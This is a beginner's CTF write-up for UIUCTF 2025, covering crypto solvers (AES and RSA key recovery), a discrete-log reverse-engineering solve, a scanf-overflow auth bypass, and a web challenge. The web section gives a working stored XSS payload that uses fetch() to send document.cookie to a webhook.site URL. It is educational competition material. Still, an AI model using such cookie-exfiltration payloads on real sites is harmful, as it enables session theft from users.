My First CTF Writeup - UIUCTF 2025

Table of Contents

Hi everyone!
Last week, my CTF team decided to participate in UIUCTF 2025, an annual Capture The Flag competition hosted by the Special interest Group for Information Security (SIGPwny) at the University of Illinois Urbana-Champaign.
In this write-up, I’ll go through a few of the challenges I solved — including my approach, thought process, tools used, and any roadblocks I hit along the way. If you’re new to CTFs, I hope this post gives you something useful (or at least entertaining) to take away.

Crypto

the shortest crypto chal

I’ve designed the shortest crypto challenge - can you find the flag?

We are provided with a very short Python file

from Crypto.Cipher import AES
from hashlib import md5
from secret import a,b,c,d, FLAG

assert a**4 + b**4 == c**4 + d**4 + 17 and max(a,b,c,d) < 2e4 and AES.new( f"{a*b*c*d}".zfill(16).encode() , AES.MODE_ECB).encrypt(FLAG).hex() == "41593455378fed8c3bd344827a193bde7ec2044a3f7a3ca6fb77448e9de55155"

We are given the encrypted flag using AES in ECB mode. We don’t know the key to decrypt it but we know some constraints about the key:

  • $key = a * b * c * d$
  • $max(a,b,c,d) < 20000$
  • $a^4 + b^4 = c^4 + d^4 + 17$

The naive approach would be to try all possible values of a,b,c,d under 20000, check if the constraints are satisfied, and try decrypting. But 20000 values per variable make this computationally infeasible to brute-force.

Instead of brute-forcing all four variables, we can break it down into two parts and use a hashmap to store partial results. First, we loop over all pairs a,b, compute a^4 + b^4, and store the result in a dictionary with the corresponding (a,b) pair. Then we loop over all calculated values and check if that result $+17$ is present in the dictionary. If it does, then we have a matching tuple (a,b,c,d) that satisfies the equation.
Once we know a,b,c,d, we can compute the decryption $key = a * b * c * d$ and use it to decrypt the flag.

from Crypto.Cipher import AES

TRESHOLD = 1000  # Adjust this value as needed
hashmap = {}

for a in range(1, TRESHOLD):
    for b in range(a):
        current = a**4 + b**4
        hashmap[current] = (a, b)

for key in hashmap:
    if key + 17 in hashmap:
        a, b = hashmap[key]
        c, d = hashmap[key + 17]
        cipher = AES.new( f"{a*b*c*d}".zfill(16).encode() , AES.MODE_ECB)
        flag = cipher.decrypt(bytes.fromhex("41593455378fed8c3bd344827a193bde7ec2044a3f7a3ca6fb77448e9de55155"))
        print(f"Flag: {flag.decode()}")
        break

Flag: uiuctf{D1oPh4nTine__Destr0yer__}

too many primes

Normal RSA uses two primes - that’s too few in my opinion, so I’ve added some more.

Let’s take a look at the provided Python snippet:

from sympy import nextprime, randprime
from sympy.core.random import seed
from math import prod, gcd
from Crypto.Util.number import bytes_to_long
# from secret import phi_N, FLAG

p = randprime(2**127, 2**128)
N = 1
while N < 2**2048:
	N *= p
	p = nextprime(p)

assert gcd(phi_N, 65537) == 1

pt = bytes_to_long(FLAG)
ct = pow(pt, 65537, N)
print("N = ", N)
print("ct = ", ct)
# N =  34546497157207880069779144631831207265231460152307441189118439470134817451040294541962595051467936974790601780839436065863454184794926578999811185968827621504669046850175311261350438632559611677118618395111752688984295293397503841637367784035822653287838715174342087466343269494566788538464938933299114092019991832564114273938460700654437085781899023664719672163757553413657400329448277666114244272477880443449956274432819386599220473627937756892769036756739782458027074917177880632030971535617166334834428052274726261358463237730801653954955468059535321422372540832976374412080012294606011959366354423175476529937084540290714443009720519542526593306377
# ct =  32130352215164271133656346574994403191937804418876038099987899285740425918388836116548661879290345302496993945260385667068119439335225069147290926613613587179935141225832632053477195949276266017803704033127818390923119631817988517430076207710598936487746774260037498876812355794218544860496013734298330171440331211616461602762715807324092281416443801588831683678783343566735253424635251726943301306358608040892601269751843002396424155187122218294625157913902839943220894690617817051114073999655942113004066418001260441287880247349603218620539692362737971711719433735307458772641705989685797383263412327068222383880346012169152962953918108171850055943194

We are given the public exponent 65537, a modulus N, and the ciphertext ct, which is the encrypted flag using RSA. If you are not familiar with RSA, Crytohack offers interactive challenges that teach the fundamentals of RSA encryption.

Normally, RSA uses a modulus N that is the product of two large prime numbers. However, in this challenge, N is constructed differently: a single random prime is chosen from the range $[2^{127},2^{128}]$, and then successively multiplied by its next primes until the product exceeds $2^{2048}$.

Because we know the range from which the primes are sampled and we are given the full value of N, we can estimate that N is composed by approximately 16 primes. With some trial and error, we find that N is made up of 17 successive prime numbers starting from some unknown prime in the given range.

We can try to factorize the modulus N in its prime factors to break RSA. To do this, we search for the first prime $p_0$​ such that $$ p_0 * nextprime(p_0) * nextprime^2(p_0) * … * nextprime^{16}(p_0​) = N $$ To speed up this process, we can perform a binary search over the range $[2^{127},2^{128}]$ to find the starting prime $p_0$. Once we successfully factor N, we can compute $\phi(N)$: $$ \phi(N) = (p_0 - 1) * (p_1 - 1) * … * (p_{16} - 1) $$ We can now compute the private key $d=65537^{-1} \mod \phi(N)$ and finally, using d, we can decrypt the $flag = ct^d \mod N$.

from math import prod
from Crypto.Util.number import long_to_bytes
from sympy import nextprime

N = 34546497157207880069779144631831207265231460152307441189118439470134817451040294541962595051467936974790601780839436065863454184794926578999811185968827621504669046850175311261350438632559611677118618395111752688984295293397503841637367784035822653287838715174342087466343269494566788538464938933299114092019991832564114273938460700654437085781899023664719672163757553413657400329448277666114244272477880443449956274432819386599220473627937756892769036756739782458027074917177880632030971535617166334834428052274726261358463237730801653954955468059535321422372540832976374412080012294606011959366354423175476529937084540290714443009720519542526593306377
ct = 32130352215164271133656346574994403191937804418876038099987899285740425918388836116548661879290345302496993945260385667068119439335225069147290926613613587179935141225832632053477195949276266017803704033127818390923119631817988517430076207710598936487746774260037498876812355794218544860496013734298330171440331211616461602762715807324092281416443801588831683678783343566735253424635251726943301306358608040892601269751843002396424155187122218294625157913902839943220894690617817051114073999655942113004066418001260441287880247349603218620539692362737971711719433735307458772641705989685797383263412327068222383880346012169152962953918108171850055943194

low = 2**127
high = 2**128
factors = []

# Binary search for the prime factors
while low < high:
    mid = (low + high) // 2
    primes = []
    prime = mid
    for _ in range(17):
        prime = nextprime(prime)
        primes.append(prime)
    result = prod(primes)
    if result == N:
        factors = primes
        break
    elif result < N:
        low = mid + 1
    else:
        high = mid

phi_N = prod([(prime - 1) for prime in factors])
d = pow(65537, -1, phi_N)
flag = pow(ct, d, N)
print(f"Flag: {long_to_bytes(flag).decode()}")

Flag: uiuctf{D0nt_U5e_Cons3cUt1vE_PriMeS}

back to roots

I don’t think you can predict my secret number from just its square root - can you prove me wrong?

This time we are given a text file and a Python script. The text file contains a variable leak and the encrypted flag ct.

leak = 4336282047950153046404
ct = 7863c63a4bb2c782eb67f32928a1deceaee0259d096b192976615fba644558b2ef62e48740f7f28da587846a81697745

Let’s take a look at the provided Python snippet:

from random import randint
from decimal import Decimal, getcontext
from hashlib import md5

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

from secret import FLAG

K = randint(10**10, 10**11)
print('K', K)
leak = int( str( Decimal(K).sqrt() ).split('.')[-1] )

print(f"leak = {leak}")
ct = AES.new(
	md5(f"{K}".encode()).digest(),
	AES.MODE_ECB
).encrypt(pad(FLAG, 16))

print(f"ct = {ct.hex()}")

The script generates a random number K in the range $[10^{10}, 10^{11}]$, computes its square root, and extracts the decimal part of the square root as leak. The flag is then encrypted using AES in ECB mode using the MD5 hash of K as the key.

The naive approach would be to brute-force all possible values of K in the range $[10^{10}, 10^{11}],$ compute the square root, and check if the decimal part matches leak. However, this is computationally infeasible due to the large range.

Instead of searching for K directly, we can try to search for the square root of K and then compute K from it. The square root of K is in the range $[\sqrt{10^{10}}, \sqrt{10^{11}}]$. We can iterate over all possible values in this range and append the decimal part to the integer part to form a candidate for K. We can then check if the square of this candidate is an integer. If it is, we found K and can use it to decrypt the flag.

from hashlib import md5
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from math import sqrt

leak = 0.4336282047950153046404
ct = "7863c63a4bb2c782eb67f32928a1deceaee0259d096b192976615fba644558b2ef62e48740f7f28da587846a81697745"

start = int(sqrt(10 ** 10))
end = int(sqrt(10 ** 11))

for i in range(start, end):
    current = i + leak
    square = current * current
    if square % 1 == 0:
        flag = AES.new(md5(f"{int(square)}".encode()).digest(), AES.MODE_ECB).decrypt(bytes.fromhex(ct))
        print(f"Flag: {flag.decode()}")
        break

Flag: uiuctf{SQu4Re_Ro0T5_AR3nT_R4nD0M}

symmetric

I’m using four primes to encrypt my flag, so I’m only giving you three hints - can you decrypt the flag?

We are given again a text file and a Python script. The text file contain variables h1, h2, h3, N which are generated by the python script and the encrypted flag ct.

h1 = 44626154099651354925697068610752642661842459492769931945027538340211738148995902544351457443643808803963130274930824732652561687395268828472477422919262224
h2 = 516671113554555861164166966331322883848052630063409185414998284127910160310316421085219788291486248715029393774584960034375836715001130337767354512063372620828300201147366138270597133744747341658011663632381219284289144790858167258162656417236910634201286428763727072739569460623482985066956478781223378673732
h3 = 6147718474663450187001867904227777991349731066494841442199681943204194617136760567222545181562592364728655444222576167723225771866335920325045525027985716792468801076590684892140052786942251780392395274059384743594570343510311801194684613435002073956759521242578078411431891501758484581445964234548107005826532945720412531638919892681259687552977883437895032963223761216846303917338652743754915155934118353066174102436448393348040719582422022713292561416343278608
N = 14184841414933523698606245433393907034474143715949896731683874356940146602876788990832087413915033843120975580859113356518777762025417525571528638829956003882418585702756644491932279294535883798799580861254646149745925137179207140600356428758736111639677698862407787386573263961111978517446397007747429416079059195916290615125084899002162504424765939524455434579218079962808920072946861658695379491917567048202142417165204141307476222251547098848515065051745905180788313450494477967398727631152936238366581978379130450660235139256967936160718128731512409111209840405772933034600016694225294481603355934917366484109057
ct = 720607330561370237459911161481490697044029472780348552630924063963226757984368356580217337982783395620115957442082471977614781910209933696251479615689667675958354681196823652299435457532944189300223816303315625302472302494905575910600277892375951366031061219173465155686586206246661009612156094695841741309002508535764511343569015518587247600796520847856011377777228749182958947015029731456117404560626347774985507275302882865400315045173501559082431672490227728580592379740508214726249635835834752208899970446910850569489282065524329936561486377823093465841715608716032843259935185417766702677708267102415636848129

Let’s have a look at the provided Python snippet:

from Crypto.Util.number import *
from secret import FLAG

p, q, r, s = [getPrime(512) for _ in "1234"]

print(f"h1 = {p + q + r + s}")
print(f"h2 = {p**2 + q**2 + r**2 + s**2}")
print(f"h3 = {p**3 + q**3 + r**3 + s**3}")

N = p*q*r*s
print(f"N = {N}")
pt = bytes_to_long(FLAG)
ct = pow(pt, 65537, N)
print(f"ct = {ct}")

The script generates four 512-bit prime numbers p, q, r, s and computes four values which are given to us in the text file:

  • $h1 = p + q + r + s$
  • $h2 = p^2 + q^2 + r^2 + s^2$
  • $h3 = p^3 + q^3 + r^3 + s^3$
  • $N = p * q * r * s$

The flag is then encrypted using RSA with the public exponent 65537 and the modulus N. To decrypt the flag, we need to find the prime factors p, q, r, s from the values h1, h2, h3, N.

To do this, we can use Newton’s identities. Newton’s identities show that the polynomial with roots $x_1,…, x_n$ may be expanded as follows: $$ \prod_{i=1}^{n} (x - x_i) = \sum_{k=0}^{n} (-1)^k e_k x^{n-k} $$ In our case, we have $n=4$ and the elementary symmetric polynomials are:

  • $e_0 = 1$
  • $e_1 = p + q + r + s = h1$
  • $e_2 = pq + pr + ps + qr + qs + rs = \frac{e1 * h1 - h2}{2}$
  • $e_3 = pqr + pqs + prs + qrs = \frac{e2 * h1 - e1 * h2 + h3}{3}$
  • $e_4 = pqrs = N$

Once we computed $e_0, e_1, e_2, e_3, e_4$, we can use them to construct the polynomial: $$ x^4 - e_1 * x^3 + e_2 * x^2 - e_3 * x + e_4 $$ We can then use a root-finding algorithm to find the roots of this polynomial, which will give us the prime factors p, q, r, s. Once we have the prime factors, we can compute $\phi(N)$ and then the private key $d = 65537^{-1} \mod \phi(N)$. Finally, we can decrypt the flag using d and N.

from sympy import symbols, Poly, solve
from Crypto.Util.number import long_to_bytes
from math import prod

h1 = 44626154099651354925697068610752642661842459492769931945027538340211738148995902544351457443643808803963130274930824732652561687395268828472477422919262224
h2 = 516671113554555861164166966331322883848052630063409185414998284127910160310316421085219788291486248715029393774584960034375836715001130337767354512063372620828300201147366138270597133744747341658011663632381219284289144790858167258162656417236910634201286428763727072739569460623482985066956478781223378673732
h3 = 6147718474663450187001867904227777991349731066494841442199681943204194617136760567222545181562592364728655444222576167723225771866335920325045525027985716792468801076590684892140052786942251780392395274059384743594570343510311801194684613435002073956759521242578078411431891501758484581445964234548107005826532945720412531638919892681259687552977883437895032963223761216846303917338652743754915155934118353066174102436448393348040719582422022713292561416343278608
N = 14184841414933523698606245433393907034474143715949896731683874356940146602876788990832087413915033843120975580859113356518777762025417525571528638829956003882418585702756644491932279294535883798799580861254646149745925137179207140600356428758736111639677698862407787386573263961111978517446397007747429416079059195916290615125084899002162504424765939524455434579218079962808920072946861658695379491917567048202142417165204141307476222251547098848515065051745905180788313450494477967398727631152936238366581978379130450660235139256967936160718128731512409111209840405772933034600016694225294481603355934917366484109057
ct = 720607330561370237459911161481490697044029472780348552630924063963226757984368356580217337982783395620115957442082471977614781910209933696251479615689667675958354681196823652299435457532944189300223816303315625302472302494905575910600277892375951366031061219173465155686586206246661009612156094695841741309002508535764511343569015518587247600796520847856011377777228749182958947015029731456117404560626347774985507275302882865400315045173501559082431672490227728580592379740508214726249635835834752208899970446910850569489282065524329936561486377823093465841715608716032843259935185417766702677708267102415636848129

e1 = h1
e2 = (e1 * h1 - h2) // 2
e3 = (e2 * h1 - e1 * h2 + h3) // 3
e4 = N

x = symbols('x')
poly = Poly(x**4 - e1*x**3 + e2*x**2 - e3*x + e4)

roots = solve(poly, x)
factors = [int(root) for root in roots]

phi_N = prod([(prime - 1) for prime in factors])
d = pow(65537, -1, phi_N)
flag = pow(ct, d, N)
print(f"Flag: {long_to_bytes(flag).decode()}")

Flag: uiuctf{5yMmeTRiC_P0lyS_FoRM_A_B4S15}

Rev

flag_checker

Another flag checker challenge…can you get the correct input to print out the flag?

This binary when executed asks for 8 inputs, if we try to input non-numeric values, it will crash. If we try to input numbers, it exits after the 8th input.

To understand what the binary is doing, we can use a decompiler like IDA. Let’s take a look at the decompiled code for the main function:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE v4[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  get_input(v4, argv, envp);
  if ( (unsigned __int8)check_input((__int64)v4) )
  {
    puts("PRINTING FLAG: ");
    print_flag(v4);
  }
  return 0;
}

It looks like the main function is calling two functions: get_input and check_input. The get_input function reads 8 inputs from the user, while the check_input function checks if the inputs match some predefined values and if they do, it calls print_flag to print the flag. The check_input function is defined as follows:

__int64 __fastcall check_input(__int64 a1)
{
  int i; // [rsp+10h] [rbp-8h]

  for ( i = 0; i <= 7; ++i )
  {
    if ( (unsigned int)F(test_pt[i], *(unsigned int *)(4LL * i + a1), 4294967087LL) != test_ct[i] )
      return 0;
  }
  return 1;
}

It iterates over the first 8 elements of the test_pt and test_ct arrays, checking if the result of the function F(test_pt[i], input[i], 4294967087) matches the corresponding value in test_ct. If any of these checks fail, it returns 0, otherwise it returns 1. The function F is defined as follows:

__int64 __fastcall F(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  __int64 v5; // [rsp+18h] [rbp-10h]
  __int64 v6; // [rsp+20h] [rbp-8h]

  v5 = 1;
  v6 = a1 % (__int64)a3;
  while ( a2 > 0 )
  {
    if ( (a2 & 1) != 0 )
      v5 = v6 * v5 % a3;
    v6 = v6 * v6 % a3;
    a2 >>= 1;
  }
  return v5;
}

This function computes the modular exponentiation of a1 raised to the power of a2 modulo a3. This means that the check_input function is checking if the modular exponentiation of test_pt[i] raised to the power of input[i] modulo 4294967087 matches test_ct[i] for each of the 8 inputs.

The values of test_pt and test_ct are hardcoded in the binary and can be extracted using a decompiler or a disassembler.

test_pt = [0x2265b1f5, 0x91b7584a, 0xd8f16adf, 0xcd613e30, 0xc386bbc4, 0x1027c4d1, 0x414c343c, 0x1e2feb89]
test_ct = [0xdc44bf5e, 0x5aff1cec, 0xe1e9b4c2, 0x01329b92, 0x8f9ca92a, 0x0e45c5b4, 0x604a4b91, 0x7081eb59]

We can use the discrete_log function from the sympy library to compute the values of input[i] that satisfy the equation: pow(test_pt[i], input[i], 4294967087) = test_ct[i].

We can use the following code to compute the values of input[i]:

from sympy.ntheory import discrete_log

mod = 0xffffff2f

test_pt = [0x2265b1f5, 0x91b7584a, 0xd8f16adf, 0xcd613e30, 0xc386bbc4, 0x1027c4d1, 0x414c343c, 0x1e2feb89]
test_ct = [0xdc44bf5e, 0x5aff1cec, 0xe1e9b4c2, 0x01329b92, 0x8f9ca92a, 0x0e45c5b4, 0x604a4b91, 0x7081eb59]

input = []
for i in range(8):
    base = test_pt[i]
    target = test_ct[i]
    x = discrete_log(mod, target, base)
    input.append(x)

print("Input:", input)
# Input: [2127877499, 1930549411, 2028277857, 2798570523, 901749037, 1674216077, 3273968005, 3294916953]

We can now feed these values as input to the binary to get the flag.

Flag: sigpwny{CrackingDiscreteLogs4TheFun/Lols}

Pwn

QAS

Since we are so behind on adopting “AI”, corporate has decided to pivot to “quantum”. They mandated we “quantumfy” our tech stack. Please review our latest authentication protocol.

We use the provided command to connect to the remote service, which asks as for a quantum authentication code, since we don’t know the code if we try to input a random number, it will return an error message saying “Quantum authentication failed!”.

ncat --ssl qas.chal.uiuc.tf 1337 
== proof-of-work: disabled ==
=== QUANTUM AUTHENTICATION SYSTEM v2.7.3 ===
Initializing quantum security protocols...
Quantum entropy generated. System ready.
Please enter your quantum authentication code: 0
Quantum hash computed: 0x9ffe
Quantum authentication failed!
Access denied. Incident logged.

We are given also the source code of the service, which is a C program that implements the quantum authentication system.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

// Quantum-grade type definitions for maximum security
typedef int not_int_small;
typedef short int_small;
typedef int not_int_big;
typedef not_int_small int_big;
typedef unsigned char quantum_byte;
typedef quantum_byte* quantum_ptr;

// Advanced authentication structures
typedef struct {
    not_int_big val;
} PASSWORD_QUANTUM;

typedef struct {
    int_small val;
    quantum_byte padding[2];
    quantum_byte checksum;
    quantum_byte reserved;
} INPUT_QUANTUM;

// Memory-aligned structure for optimal quantum processing
struct __attribute__((packed)) quantum_data_s {
    INPUT_QUANTUM input;
    PASSWORD_QUANTUM password;
    quantum_byte entropy_pool[8];
    quantum_byte quantum_state[16];
};

typedef struct quantum_data_s quantum_data_t;

// Quantum random number generator (patent pending)
static inline quantum_byte generate_quantum_entropy() {
    static quantum_byte seed = 0x42;
    seed = ((seed << 3) ^ (seed >> 5)) + 0x7f;
    return seed;
}

// Initialize quantum security subsystem
void init_quantum_security(quantum_data_t* qdata) {
    for (int i = 0; i < 8; i++) {
        qdata->entropy_pool[i] = generate_quantum_entropy();
    }

    // Initialize quantum state with pseudo-random values
    for (int i = 0; i < 16; i++) {
        qdata->quantum_state[i] = (quantum_byte)(i * 0x11 + 0x33);
    }

    qdata->input.padding[0] = 0;
    qdata->input.padding[1] = 0;
}

// Quantum hash function (revolutionary technology)
not_int_big quantum_hash(INPUT_QUANTUM input, quantum_byte* entropy) {
    int_small input_val = input.val;
    not_int_big hash = input_val;

    // Apply quantum transformation matrix
    hash ^= (entropy[0] << 8) | entropy[1];
    hash ^= (entropy[2] << 4) | (entropy[3] >> 4);
    hash += (entropy[4] * entropy[5]) & 0xff;
    hash ^= entropy[6] ^ entropy[7];
    hash |= 0xeee;
    hash ^= input.padding[0] << 8 | input.padding[1];

    return hash;
}

// Decrypt the victory condition
void access_granted() {
    printf("Quantum authentication successful!\n");
    printf("Accessing secured vault...\n");

    FILE *fp = fopen("flag.txt", "r");
    if (fp == NULL) {
        printf("Error: Quantum vault is offline\n");
        printf("Please contact the quantum administrator.\n");
        return;
    }

    char flag[100];
    if (fgets(flag, sizeof(flag), fp) != NULL) {
        printf("CLASSIFIED FLAG: %s\n", flag);
    } else {
        printf("Error: Quantum decryption failed\n");
        printf("Please contact the quantum administrator.\n");
    }
    fclose(fp);
}

int main() {
    quantum_data_t qdata;

    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    // Initialize quantum security subsystem
    init_quantum_security(&qdata);

    // Set quantum password (TODO: implement proper quantum key derivation)
    qdata.password.val = 0x555;

    printf("=== QUANTUM AUTHENTICATION SYSTEM v2.7.3 ===\n");
    printf("Initializing quantum security protocols...\n");

    // Simulate quantum initialization delay
    for (volatile int i = 0; i < 100000; i++) { /* quantum processing */ }

    printf("Quantum entropy generated. System ready.\n");
    printf("Please enter your quantum authentication code: ");

    // Read user input
    if (scanf("%d", (int*)&qdata.input.val) != 1) {
        printf("Invalid quantum input format!\n");
        return 1;
    }

    // Calculate input checksum for integrity
    qdata.input.checksum = (quantum_byte)(qdata.input.val & 0xff);

    // Apply quantum hash transformation
    not_int_big hashed_input = quantum_hash(qdata.input, qdata.entropy_pool);

    printf("Quantum hash computed: 0x%x\n", hashed_input);

    // Verify quantum authentication
    if (hashed_input == qdata.password.val) {
        access_granted();
    } else {
        printf("Quantum authentication failed!\n");
        printf("Access denied. Incident logged.\n");
    }

    return 0;
}

The code implements a quantum authentication system that uses a custom quantum hash function to verify the user’s input against a predefined password. The quantum hash function applies a series of transformations to the input using the variable entropy pool to produce a hash value. If the computed hash matches the password, access is granted; otherwise, authentication fails.

If we look closely at the quantum_hash function it also uses the padding field of the INPUT_QUANTUM structure, which is initially set to zero, but during the authentication process it is modified by an overflow vulnerability in the scanf function. The scanf function reads 4 bytes from the user input and stores it in the val field of the INPUT_QUANTUM structure, which is a 2-byte short. If the user inputs a value large enough to overflow the val field, it will overwrite the padding field with the remaining bytes of the input. This allows us to control the value of the padding field and influence the hash computation.

To find the correct input that will produce a hash value equal to the password, we can do a constrain modeling approach using the z3 library. First, we will compute entropy pool, which is a fixed value in the code. Then, we can create a symbolic input that will be used to represent both the val and padding fields of the INPUT_QUANTUM structure. We can then use the quantum_hash function to compute the hash value and add a constraint that it must equal the password value.

from z3 import *

# Generate the entropy pool
def generate_entropy():
    seed = 0x42
    entropy = []
    for _ in range(8):
        seed = ((seed << 3) ^ (seed >> 5)) + 0x7f
        seed &= 0xff
        entropy.append(seed)
    return entropy

entropy = generate_entropy()

# Create symbolic 32-bit input value
input_val = BitVec("input_val", 32)

# Split into pieces
hash_val = Extract(15, 0, input_val)   # low 16 bits
padding_0 = Extract(23, 16, input_val) # next 8 bits
padding_1 = Extract(31, 24, input_val) # top 8 bits

# Extend to 16 bits before combining
padding_0_ext = ZeroExt(8, padding_0)  # 16-bit
padding_1_ext = ZeroExt(8, padding_1)  # 16-bit

# Perform the quantum hash computation (all ops modulo 2^16)
hash_val = hash_val ^ ((entropy[0] << 8) | entropy[1])
hash_val = hash_val ^ ((entropy[2] << 4) | (entropy[3] >> 4))
hash_val = hash_val + ((entropy[4] * entropy[5]) & 0xff)
hash_val = hash_val ^ (entropy[6] ^ entropy[7])
hash_val = hash_val | 0xEEE
hash_val = hash_val ^ ((padding_0_ext << 8) | padding_1_ext)

# Constrain hash
s = Solver()
s.add(hash_val == 0x555)

if s.check() == sat:
    m = s.model()
    solution = m[input_val].as_long()
    print(f"Solved input_val: {solution}")
else:
    print("No solution")

The computed input value is 3130720337, which we can use to authenticate with the service. When we run the service with this input, it will compute the hash value and compare it with the password value, granting us access to the flag.

ncat --ssl qas.chal.uiuc.tf 1337 
== proof-of-work: disabled ==
=== QUANTUM AUTHENTICATION SYSTEM v2.7.3 ===
Initializing quantum security protocols...
Quantum entropy generated. System ready.
Please enter your quantum authentication code: 3130720337
Quantum hash computed: 0x555
Quantum authentication successful!
Accessing secured vault...
CLASSIFIED FLAG: uiuctf{qu4ntum_0v3rfl0w_2d5ad975653b8f29}

Flag: uiuctf{qu4ntum_0v3rfl0w_2d5ad975653b8f29}

Web

Ruler of the Universe

With this ship I have the entire universe at my fingertips.

The challenge contains a web application and an adminbot. Let’s take a look at the adminbot first:

import index from "./index.html";
import puppeteer from "puppeteer";
import { readFileSync, existsSync } from "fs";

interface Body {
  url_part: string;
}

const mainUrl = process.env.URL ?? "http://localhost:3000";

const FLAG = existsSync("flag.txt")
  ? readFileSync("flag.txt", "utf8").trim()
  : process.env.FLAG || "uiuctf{fake_flag}";

Bun.serve({
  routes: {
    "/": {
      GET: index,
      POST: async (req) => {
        const body = (await req.json()) as Body;

        if (!body.url_part) {
          return new Response("URL part is required", { status: 400 });
        }

        const newUrl = `${mainUrl}/${body.url_part}`;

        const browser = await puppeteer.launch({
          headless: true,
          args: ["--no-sandbox"],
        });
        try {
          const page = await browser.newPage();

          await browser.setCookie({
            name: "flag",
            value: FLAG,
            domain: new URL(mainUrl).hostname,
            httpOnly: false,
            secure: true,
          });

          await page.goto(newUrl, {
            waitUntil: "networkidle0",
            timeout: 15 * 1000,
          });
          await browser.close();

          return Response.json({
            success: true,
          });
        } catch (error) {
          console.error(error);
          await browser.close();
          return Response.json({ success: false });
        }
      },
    },
  },
  port: process.env.PORT || 3001,
});

The adminbot sets a cookie with the flag and then uses Puppeteer to navigate to a URL specified by the user. This suggests an XSS vulnerability, where the adminbot can be tricked into navigating to a malicious URL that reads the flag cookie and returns it to the attacker. If you are not familiar with XSS vulnerabilities, you can read more about them on PortSwigger.

Let’s take a look at the website:

website

At first glance, it seems like a simple website with no much interaction. But if you click on one of the modules at the bottom of the page, it takes you to a page where you can submit a message that then appears on a public message board.

module

If we try to submit the message TheNoah, it will be displayed on the board and inspecting the page we see that the message content will also be used as the placeholder for the input field where we can update the message.

<input id="message" name="message" type="text" class="w-full border border-green-400 bg-black text-green-400 px-2 py-1 text-xs" placeholder="Update your message: TheNoah">

If we try to escape the placeholder attribute value by using a double quote, it will not work, probably because the input is sanitized before being displayed. Let’s inspect the web application code to see which kind of sanitization is applied.

import { escapeHTML } from "bun";

export function render(element: any): string {
  if (typeof element === "string" || typeof element === "number") {
    return escapeHTML(element);
  }

  if (!element || typeof element !== "object" || !element.type) {
    return "";
  }

  const { type, props } = element;

  if (typeof type === "function") {
    return render(type(props));
  }

  let children = "";
  if (props && props.children) {
    if (Array.isArray(props.children)) {
      children = props.children.map(render).join("");
    } else {
      children = render(props.children);
    }
  }

  const propString = props
    ? Object.entries(props)
        .filter(([key]) => key !== "children")
        .map(([key, value]) => {
          if (typeof value === "boolean") {
            return value ? key : "";
          }
          return `${key}="${String(value).replace('"', "&quot;")}"`;
        })
        .filter(Boolean)
        .join(" ")
    : "";

  const openTag = propString ? `<${type} ${propString}>` : `<${type}>`;

  return `${openTag}${children}</${type}>`;
}

The render function uses the escapeHTML function to sanitize the input before rendering it. The escapeHTML function replaces special characters with their HTML entities, preventing XSS attacks. However, for attribute values the sanitization is not done with escapeHTML, only double quotes are replaced with &quot;, and to do this the replace function is used which only replaces the first occurrence of the double quote character. This means that we can use 2 double quotes to close the placeholder attribute and then add our own attribute with a malicious value. Let’s try to submit the following message: TheNoah"" onfocus="alert()" autofocus=1.

xss

We are able to inject JavaScript code !!!
Now we can just adjust the message so that it reads the flag cookie and sends it to us.

To do this first we can create a webhook that will receive the flag, for example using Webhook.site. Then we can adjust our message: TheNoah"" onfocus="fetch(`https://webhook.site/your-webhook-url?flag=${document.cookie}`)" autofocus=1.

Finally, we need to url-encode the message so that it can be submitted as a URL parameter. We can use an online URL encoder for this. So our final malicious url-encoded message will be module/0?message=TheNoah%22%22%20onfocus=%22fetch(`https://webhook.site/your-webhook-url?flag=${document.cookie}`)%22%20autofocus=1

Now we can use the adminbot to navigate to this URL and trigger the XSS vulnerability which will read the flag cookie and send it to our webhook.

Flag: uiuctf{maybe_i_should_just_use_react_c49b79}